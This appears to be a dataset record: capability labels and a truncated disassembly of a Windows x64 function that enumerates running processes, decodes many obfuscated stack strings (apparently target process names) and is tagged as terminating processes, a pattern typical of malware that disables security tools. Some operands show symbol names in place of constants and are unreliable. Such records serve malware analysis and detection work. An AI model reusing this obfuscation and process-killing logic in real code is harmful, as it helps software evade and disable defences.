Function at 0x140016f10
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Enumerate processes
Parse pe header
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x718
movaps xmmword [rsp + 0x700], xmm6
mov rsi, rcx
mov rax, qword [0x1400503c8]
xor rax, rsp
mov qword [rsp + 0x6f8], rax
mov ecx, 2
xor edx, edx
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
test rax, rax
je 0x14001aa34
mov rdi, rax
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.DLL_Process32FirstW
test eax, eax
je 0x14001aa2b
lea r13, [rsp + 0x4c]
xorps xmm6, xmm6
lea r15, [rsp + 0x3c1]
mov r14, qword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [rax]
mov byte [rsp + 0x5e0], 0
mov byte [rsp + 0x5e1], 0x5d
mov byte [rsp + 0x5e2], 0x55
mov byte [rsp + 0x5e3], 0x42
mov byte [rsp + 0x5e4], 0x55
mov byte [rsp + 0x5e5], 0x62
mov byte [rsp + 0x5e6], 0x55
mov byte [rsp + 0x5e7], 0x47
mov byte [rsp + 0x5e8], 0x55
mov byte [rsp + 0x5e9], 0xc
mov byte [rsp + 0x5ea], 0x55
mov byte [rsp + 0x5eb], 0x3e
mov byte [rsp + 0x5ec], 0x55
mov byte [rsp + 0x5ed], 0x54
mov byte [rsp + 0x5ee], 0x55
mov byte [rsp + 0x5ef], 5
mov byte [rsp + 0x5f0], 0x55
mov byte [rsp + 0x5f1], 0x4b
mov byte [rsp + 0x5f2], 0x55
mov byte [rsp + 0x5f3], 0x35
mov byte [rsp + 0x5f4], 0x55
mov byte [rsp + 0x5f5], 0x4b
mov byte [rsp + 0x5f6], 0x55
mov byte [rsp + 0x5f7], 0x55
mov byte [rsp + 0x5f8], 0x55
mov al, byte [rsp + 0x5e0]
test al, 1
jne 0x1400170f0
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x5e0]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
lea ebx, [rcx + rdx]
add ebx, 0xfffff6b4
add ecx, edx
movsx edx, bx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff6b4
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff6b4
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x5e0], cl
add rax, 1
cmp rax, 0x19
jne 0x140017070
lea rax, [rsp + 0x5e1]
mov qword [rsp + 0x600], rax
mov byte [rsp + 0x5c8], 0
mov byte [rsp + 0x5c9], 0x28
mov byte [rsp + 0x5ca], 0xa
mov byte [rsp + 0x5cb], 0xe
mov byte [rsp + 0x5cc], 0xa
mov byte [rsp + 0x5cd], 0x6c
mov byte [rsp + 0x5ce], 0xa
mov byte [rsp + 0x5cf], 0x2b
mov byte [rsp + 0x5d0], 0xa
mov byte [rsp + 0x5d1], 0x1e
mov byte [rsp + 0x5d2], 0xa
mov byte [rsp + 0x5d3], 0x45
mov byte [rsp + 0x5d4], 0xa
mov byte [rsp + 0x5d5], 0x64
mov byte [rsp + 0x5d6], 0xa
mov byte [rsp + 0x5d7], 0x35
mov byte [rsp + 0x5d8], 0xa
mov byte [rsp + 0x5d9], 0x2e
mov byte [rsp + 0x5da], 0xa
mov byte [rsp + 0x5db], 0x35
mov byte [rsp + 0x5dc], 0xa
mov byte [rsp + 0x5dd], 0xa
mov byte [rsp + 0x5de], 0xa
mov al, byte [rsp + 0x5c8]
test al, 1
jne 0x14001724a
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x5c8]
movzx ecx, cl
imul ecx, ecx, 0xffffffd9
mov edx, ecx
add edx, 0x186
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x186
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x186
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x5c8], cl
add rax, 1
cmp rax, 0x17
jne 0x1400171d0
lea rax, [rsp + 0x5c9]
mov qword [rsp + 0x608], rax
mov byte [rsp + 0x5a8], 0
mov byte [rsp + 0x5a9], 7
mov byte [rsp + 0x5aa], 0x59
mov byte [rsp + 0x5ab], 0x5f
mov byte [rsp + 0x5ac], 0x59
mov byte [rsp + 0x5ad], 0x5a
mov byte [rsp + 0x5ae], 0x59
mov byte [rsp + 0x5af], 0x4b
mov byte [rsp + 0x5b0], 0x59
mov byte [rsp + 0x5b1], 2
mov byte [rsp + 0x5b2], 0x59
mov byte [rsp + 0x5b3], 0x2b
mov byte [rsp + 0x5b4], 0x59
mov byte [rsp + 0x5b5], 9
mov byte [rsp + 0x5b6], 0x59
mov byte [rsp + 0x5b7], 0x61
mov byte [rsp + 0x5b8], 0x59
mov byte [rsp + 0x5b9], 0x5a
mov byte [rsp + 0x5ba], 0x59
mov byte [rsp + 0x5bb], 0x10
mov byte [rsp + 0x5bc], 0x59
mov byte [rsp + 0x5bd], 0x5a
mov byte [rsp + 0x5be], 0x59
mov byte [rsp + 0x5bf], 0x59
mov byte [rsp + 0x5c0], 0x59
mov al, byte [rsp + 0x5a8]
test al, 1
jne 0x1400173ba
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x5a8]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0x90a
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x90a
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x90a
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x5a8], cl
add rax, 1
cmp rax, 0x19
jne 0x140017340
lea rax, [rsp + 0x5a9]
mov qword [rsp + 0x610], rax
mov byte [rsp + 0x590], 0
mov byte [rsp + 0x591], 0x22
mov byte [rsp + 0x592], 0x70
mov byte [rsp + 0x593], 0x3d
mov byte [rsp + 0x594], 0x70
mov byte [rsp + 0x595], 0x1c
mov byte [rsp + 0x596], 0x70
mov byte [rsp + 0x597], 0x4c
mov byte [rsp + 0x598], 0x70
mov byte [rsp + 0x599], 0x55
mov byte [rsp + 0x59a], 0x70
mov byte [rsp + 0x59b], 0x1c
mov byte [rsp + 0x59c], 0x70
mov byte [rsp + 0x59d], 0x7b
mov byte [rsp + 0x59e], 0x70
mov byte [rsp + 0x59f], 0x22
mov byte [rsp + 0x5a0], 0x70
mov byte [rsp + 0x5a1], 0x5b
mov byte [rsp + 0x5a2], 0x70
mov byte [rsp + 0x5a3], 0x22
mov byte [rsp + 0x5a4], 0x70
mov byte [rsp + 0x5a5], 0x70
mov byte [rsp + 0x5a6], 0x70
mov al, byte [rsp + 0x590]
test al, 1
jne 0x14001751a
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x590]
movzx ecx, cl
imul ecx, ecx, 0xffffffd6
mov edx, ecx
add edx, 0x1260
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x1260
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x1260
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x590], cl
add rax, 1
cmp rax, 0x17
jne 0x1400174a0
lea rax, [rsp + 0x591]
mov qword [rsp + 0x618], rax
mov byte [rsp + 0x578], 0
mov byte [rsp + 0x579], 0x1f
mov byte [rsp + 0x57a], 0x79
mov byte [rsp + 0x57b], 0x57
mov byte [rsp + 0x57c], 0x79
mov byte [rsp + 0x57d], 0x70
mov byte [rsp + 0x57e], 0x79
mov byte [rsp + 0x57f], 0x1f
mov byte [rsp + 0x580], 0x79
mov byte [rsp + 0x581], 0x41
mov byte [rsp + 0x582], 0x79
mov byte [rsp + 0x583], 0x24
mov byte [rsp + 0x584], 0x79
mov byte [rsp + 0x585], 0x1f
mov byte [rsp + 0x586], 0x79
mov byte [rsp + 0x587], 0x57
mov byte [rsp + 0x588], 0x79
mov byte [rsp + 0x589], 0x1f
mov byte [rsp + 0x58a], 0x79
mov byte [rsp + 0x58b], 0x79
mov byte [rsp + 0x58c], 0x79
mov al, byte [rsp + 0x578]
test al, 1
jne 0x14001766a
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x578]
movzx ecx, cl
imul ecx, ecx, 0xfffffff5
mov edx, ecx
add edx, 0x533
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x533
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x533
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x578], cl
add rax, 1
cmp rax, 0x15
jne 0x1400175f0
lea rax, [rsp + 0x579]
mov qword [rsp + 0x620], rax
mov byte [rsp + 0x558], 0
mov byte [rsp + 0x559], 0x41
mov byte [rsp + 0x55a], 0x20
mov byte [rsp + 0x55b], 0x7a
mov byte [rsp + 0x55c], 0x20
mov byte [rsp + 0x55d], 0x27
mov byte [rsp + 0x55e], 0x20
mov byte [rsp + 0x55f], 0x2e
mov byte [rsp + 0x560], 0x20
mov byte [rsp + 0x561], 0x41
mov byte [rsp + 0x562], 0x20
mov byte [rsp + 0x563], 0x6d
mov byte [rsp + 0x564], 0x20
mov byte [rsp + 0x565], 0x1a
mov byte [rsp + 0x566], 0x20
mov byte [rsp + 0x567], 0x11
mov byte [rsp + 0x568], 0x20
mov byte [rsp + 0x569], 0x2e
mov byte [rsp + 0x56a], 0x20
mov byte [rsp + 0x56b], 0x1a
mov byte [rsp + 0x56c], 0x20
mov byte [rsp + 0x56d], 0x2e
mov byte [rsp + 0x56e], 0x20
mov byte [rsp + 0x56f], 0x20
mov byte [rsp + 0x570], 0x20
mov al, byte [rsp + 0x558]
test al, 1
jne 0x1400177d6
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x558]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x280
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x280
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x558], cl
add rax, 1
cmp rax, 0x19
jne 0x140017760
lea rax, [rsp + 0x559]
mov qword [rsp + 0x628], rax
mov byte [rsp + 0x530], 0
mov byte [rsp + 0x531], 0x19
mov byte [rsp + 0x532], 0xd
mov byte [rsp + 0x533], 8
mov byte [rsp + 0x534], 0xd
mov byte [rsp + 0x535], 0x71
mov byte [rsp + 0x536], 0xd
mov byte [rsp + 0x537], 0x3a
mov byte [rsp + 0x538], 0xd
mov byte [rsp + 0x539], 0x66
mov byte [rsp + 0x53a], 0xd
mov byte [rsp + 0x53b], 0x3a
mov byte [rsp + 0x53c], 0xd
mov byte [rsp + 0x53d], 0x1e
mov byte [rsp + 0x53e], 0xd
mov byte [rsp + 0x53f], 8
mov byte [rsp + 0x540], 0xd
mov byte [rsp + 0x541], 8
mov byte [rsp + 0x542], 0xd
mov byte [rsp + 0x543], 0x29
mov byte [rsp + 0x544], 0xd
mov byte [rsp + 0x545], 0x56
mov byte [rsp + 0x546], 0xd
mov byte [rsp + 0x547], 0xb
mov byte [rsp + 0x548], 0xd
mov byte [rsp + 0x549], 0x6c
mov byte [rsp + 0x54a], 0xd
mov byte [rsp + 0x54b], 0x3f
mov byte [rsp + 0x54c], 0xd
mov byte [rsp + 0x54d], 0x6c
mov byte [rsp + 0x54e], 0xd
mov byte [rsp + 0x54f], 0xd
mov byte [rsp + 0x550], 0xd
mov al, byte [rsp + 0x530]
test al, 1
jne 0x14001797a
xor eax, eax
nop
movzx ecx, byte [rsp + rax + 0x531]
movzx ecx, cl
imul ecx, ecx, 0xffffffe9
mov edx, ecx
add edx, 0x12b
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x12b
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x12b
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x531], cl
add rax, 1
cmp rax, 0x20
jne 0x140017900
lea rax, [rsp + 0x531]
mov qword [rsp + 0x630], rax
mov byte [rsp + 0x510], 0
mov byte [rsp + 0x511], 0x1c
mov byte [rsp + 0x512], 0x6a
mov byte [rsp + 0x513], 0x36
mov byte [rsp + 0x514], 0x6a
mov byte [rsp + 0x515], 0x67
mov byte [rsp + 0x516], 0x6a
mov byte [rsp + 0x517], 0x1b
mov byte [rsp + 0x518], 0x6a
mov byte [rsp + 0x519], 0x1b
mov byte [rsp + 0x51a], 0x6a
mov byte [rsp + 0x51b], 0x4e
mov byte [rsp + 0x51c], 0x6a
mov byte [rsp + 0x51d], 0x36
mov byte [rsp + 0x51e], 0x6a
mov byte [rsp + 0x51f], 0x36
mov byte [rsp + 0x520], 0x6a
mov byte [rsp + 0x521], 9
mov byte [rsp + 0x522], 0x6a
mov byte [rsp + 0x523], 0x4e
mov byte [rsp + 0x524], 0x6a
mov byte [rsp + 0x525], 0x76
mov byte [rsp + 0x526], 0x6a
mov byte [rsp + 0x527], 0x4e
mov byte [rsp + 0x528], 0x6a
mov byte [rsp + 0x529], 0x6a
mov byte [rsp + 0x52a], 0x6a
mov al, byte [rsp + 0x510]
test al, 1
jne 0x140017afd
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x510]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx]
add edx, 0xfffffbdc
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*2]
add edx, 0xfffffbdc
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
lea ecx, [rdx + rcx*2]
add ecx, 0xfffffbdc
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x510], cl
add rax, 1
cmp rax, 0x1b
jne 0x140017a80
lea rax, [rsp + 0x511]
mov qword [rsp + 0x638], rax
mov byte [rsp + 0x4f8], 0
mov byte [rsp + 0x4f9], 0x33
mov byte [rsp + 0x4fa], 0x65
mov byte [rsp + 0x4fb], 0x6e
mov byte [rsp + 0x4fc], 0x65
mov byte [rsp + 0x4fd], 0x11
mov byte [rsp + 0x4fe], 0x65
mov byte [rsp + 0x4ff], 0x2d
mov byte [rsp + 0x500], 0x65
mov byte [rsp + 0x501], 0x5b
mov byte [rsp + 0x502], 0x65
mov byte [rsp + 0x503], 3
mov byte [rsp + 0x504], 0x65
mov byte [rsp + 0x505], 0x39
mov byte [rsp + 0x506], 0x65
mov byte [rsp + 0x507], 0xb
mov byte [rsp + 0x508], 0x65
mov byte [rsp + 0x509], 0x39
mov byte [rsp + 0x50a], 0x65
mov byte [rsp + 0x50b], 0x65
mov byte [rsp + 0x50c], 0x65
mov al, byte [rsp + 0x4f8]
test al, 1
jne 0x140017c4e
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x4f8]
movzx ecx, cl
lea edx, [rcx + rcx*4]
lea ebx, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xffffefd3
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xffffefd3
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xffffefd3
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x4f8], cl
add rax, 1
cmp rax, 0x15
jne 0x140017bd0
lea rax, [rsp + 0x4f9]
mov qword [rsp + 0x640], rax
mov byte [rsp + 0x4d0], 0
mov byte [rsp + 0x4d1], 0x20
mov byte [rsp + 0x4d2], 0x28
mov byte [rsp + 0x4d3], 0x7a
mov byte [rsp + 0x4d4], 0x28
mov byte [rsp + 0x4d5], 0x1c
mov byte [rsp + 0x4d6], 0x28
mov byte [rsp + 0x4d7], 0x63
mov byte [rsp + 0x4d8], 0x28
mov byte [rsp + 0x4d9], 0x4d
mov byte [rsp + 0x4da], 0x28
mov byte [rsp + 0x4db], 0x11
mov byte [rsp + 0x4dc], 0x28
mov byte [rsp + 0x4dd], 0x15
mov byte [rsp + 0x4de], 0x28
mov byte [rsp + 0x4df], 0x2f
mov byte [rsp + 0x4e0], 0x28
mov byte [rsp + 0x4e1], 0x76
mov byte [rsp + 0x4e2], 0x28
mov byte [rsp + 0x4e3], 0x3e
mov byte [rsp + 0x4e4], 0x28
mov byte [rsp + 0x4e5], 0x2f
mov byte [rsp + 0x4e6], 0x28
mov byte [rsp + 0x4e7], 0x4d
mov byte [rsp + 0x4e8], 0x28
mov byte [rsp + 0x4e9], 4
mov byte [rsp + 0x4ea], 0x28
mov byte [rsp + 0x4eb], 0x63
mov byte [rsp + 0x4ec], 0x28
mov byte [rsp + 0x4ed], 0x33
mov byte [rsp + 0x4ee], 0x28
mov byte [rsp + 0x4ef], 0x63
mov byte [rsp + 0x4f0], 0x28
mov byte [rsp + 0x4f1], 0x28
mov byte [rsp + 0x4f2], 0x28
mov al, byte [rsp + 0x4d0]
test al, 1
jne 0x140017e10
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x4d0]
movzx ecx, cl
mov edx, ecx
shl edx, 5
lea ebx, [rdx + rcx*2]
lea ecx, [rdx + rcx*2]
add ecx, 0xfffffab0
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffab0
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffab0
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x4d0], cl
add rax, 1
cmp rax, 0x23
jne 0x140017d90
lea rax, [rsp + 0x4d1]
mov qword [rsp + 0x648], rax
mov byte [rsp + 0x258], 0
mov byte [rsp + 0x259], shutdown
mov byte [rsp + 0x25a], 0x5b
mov byte [rsp + 0x25b], WSAGetLastError
mov byte [rsp + 0x25c], 0x5b
mov byte [rsp + 0x25d], WSAGetLastError
mov byte [rsp + 0x25e], 0x5b
mov byte [rsp + 0x25f], 0x50
mov byte [rsp + 0x260], 0x5b
mov byte [rsp + 0x261], 0x7d
mov byte [rsp + 0x262], 0x5b
mov byte [rsp + 0x263], 0x3f
mov byte [rsp + 0x264], 0x5b
mov byte [rsp + 0x265], 0x65
mov byte [rsp + 0x266], 0x5b
mov byte [rsp + 0x267], 0x5e
mov byte [rsp + 0x268], 0x5b
mov byte [rsp + 0x269], 0x46
mov byte [rsp + 0x26a], 0x5b
mov byte [rsp + 0x26b], 0x7d
mov byte [rsp + 0x26c], 0x5b
mov byte [rsp + 0x26d], 0x50
mov byte [rsp + 0x26e], 0x5b
mov byte [rsp + 0x26f], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x270], 0x5b
mov byte [rsp + 0x271], gethostname
mov byte [rsp + 0x272], 0x5b
mov byte [rsp + 0x273], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x274], 0x5b
mov byte [rsp + 0x275], 1
mov byte [rsp + 0x276], 0x5b
mov byte [rsp + 0x277], 0x50
mov byte [rsp + 0x278], 0x5b
mov byte [rsp + 0x279], 3
mov byte [rsp + 0x27a], 0x5b
mov byte [rsp + 0x27b], 0x50
mov byte [rsp + 0x27c], 0x5b
mov byte [rsp + 0x27d], 5
mov byte [rsp + 0x27e], 0x5b
mov byte [rsp + 0x27f], 0x50
mov byte [rsp + 0x280], 0x5b
mov byte [rsp + 0x281], 0x5b
mov byte [rsp + 0x282], 0x5b
mov al, byte [rsp + 0x258]
test al, 1
jne 0x14001800e
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x258]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*4]
lea ecx, [rcx + rdx*4]
add ecx, 0xfffff2d9
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff2d9
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff2d9
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x258], cl
add rax, 1
cmp rax, 0x2b
jne 0x140017f90
lea rax, [rsp + 0x259]
mov qword [rsp + 0x650], rax
mov byte [rsp + 0x4b0], 0
mov byte [rsp + 0x4b1], 0x69
mov byte [rsp + 0x4b2], 0x2c
mov byte [rsp + 0x4b3], 0x4f
mov byte [rsp + 0x4b4], 0x2c
mov byte [rsp + 0x4b5], 0x4c
mov byte [rsp + 0x4b6], 0x2c
mov byte [rsp + 0x4b7], 0x55
mov byte [rsp + 0x4b8], 0x2c
mov byte [rsp + 0x4b9], 0x35
mov byte [rsp + 0x4ba], 0x2c
mov byte [rsp + 0x4bb], 0x3e
mov byte [rsp + 0x4bc], 0x2c
mov byte [rsp + 0x4bd], 0x6f
mov byte [rsp + 0x4be], 0x2c
mov byte [rsp + 0x4bf], 0x76
mov byte [rsp + 0x4c0], 0x2c
mov byte [rsp + 0x4c1], 0x55
mov byte [rsp + 0x4c2], 0x2c
mov byte [rsp + 0x4c3], 0x63
mov byte [rsp + 0x4c4], 0x2c
mov byte [rsp + 0x4c5], 0x55
mov byte [rsp + 0x4c6], 0x2c
mov byte [rsp + 0x4c7], 0x2c
mov byte [rsp + 0x4c8], 0x2c
mov al, byte [rsp + 0x4b0]
test al, 1
jne 0x14001817a
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x4b0]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x790
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x790
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x790
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x4b0], cl
add rax, 1
cmp rax, 0x19
jne 0x140018100
lea rax, [rsp + 0x4b1]
mov qword [rsp + 0x658], rax
mov byte [rsp + 0x490], 0
mov byte [rsp + 0x491], 9
mov byte [rsp + 0x492], 0x43
mov byte [rsp + 0x493], 0x1d
mov byte [rsp + 0x494], 0x43
mov byte [rsp + 0x495], 0x75
mov byte [rsp + 0x496], 0x43
mov byte [rsp + 0x497], 0x7e
mov byte [rsp + 0x498], 0x43
mov byte [rsp + 0x499], 0x2b
mov byte [rsp + 0x49a], 0x43
mov byte [rsp + 0x49b], 9
mov byte [rsp + 0x49c], 0x43
mov byte [rsp + 0x49d], 0x7e
mov byte [rsp + 0x49e], 0x43
mov byte [rsp + 0x49f], 0x5c
mov byte [rsp + 0x4a0], 0x43
mov byte [rsp + 0x4a1], 0x70
mov byte [rsp + 0x4a2], 0x43
mov byte [rsp + 0x4a3], 0x57
mov byte [rsp + 0x4a4], 0x43
mov byte [rsp + 0x4a5], 0x4b
mov byte [rsp + 0x4a6], 0x43
mov byte [rsp + 0x4a7], 0x44
mov byte [rsp + 0x4a8], 0x43
mov byte [rsp + 0x4a9], 0x79
mov byte [rsp + 0x4aa], 0x43
mov byte [rsp + 0x4ab], 0x44
mov byte [rsp + 0x4ac], 0x43
mov byte [rsp + 0x4ad], 0x43
mov byte [rsp + 0x4ae], 0x43
mov al, byte [rsp + 0x490]
test al, 1
jne 0x14001831a
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x490]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0x6ce
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x6ce
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x6ce
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x490], cl
add rax, 1
cmp rax, 0x1f
jne 0x1400182a0
lea rax, [rsp + 0x491]
mov qword [rsp + 0x660], rax
mov byte [rsp + 0x478], 0
mov byte [rsp + 0x479], 0x77
mov byte [rsp + 0x47a], 0x4c
mov byte [rsp + 0x47b], 0x38
mov byte [rsp + 0x47c], 0x4c
mov byte [rsp + 0x47d], 0x77
mov byte [rsp + 0x47e], 0x4c
mov byte [rsp + 0x47f], 0x2d
mov byte [rsp + 0x480], 0x4c
mov byte [rsp + 0x481], 0x2d
mov byte [rsp + 0x482], 0x4c
mov byte [rsp + 0x483], 0
mov byte [rsp + 0x484], 0x4c
mov byte [rsp + 0x485], 3
mov byte [rsp + 0x486], 0x4c
mov byte [rsp + 0x487], 0x47
mov byte [rsp + 0x488], 0x4c
mov byte [rsp + 0x489], 3
mov byte [rsp + 0x48a], 0x4c
mov byte [rsp + 0x48b], 0x4c
mov byte [rsp + 0x48c], 0x4c
mov al, byte [rsp + 0x478]
test al, 1
jne 0x140018466
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x478]
movzx ecx, cl
shl ecx, 3
lea ecx, [rcx + rcx*2]
mov edx, 0x720
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x720
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
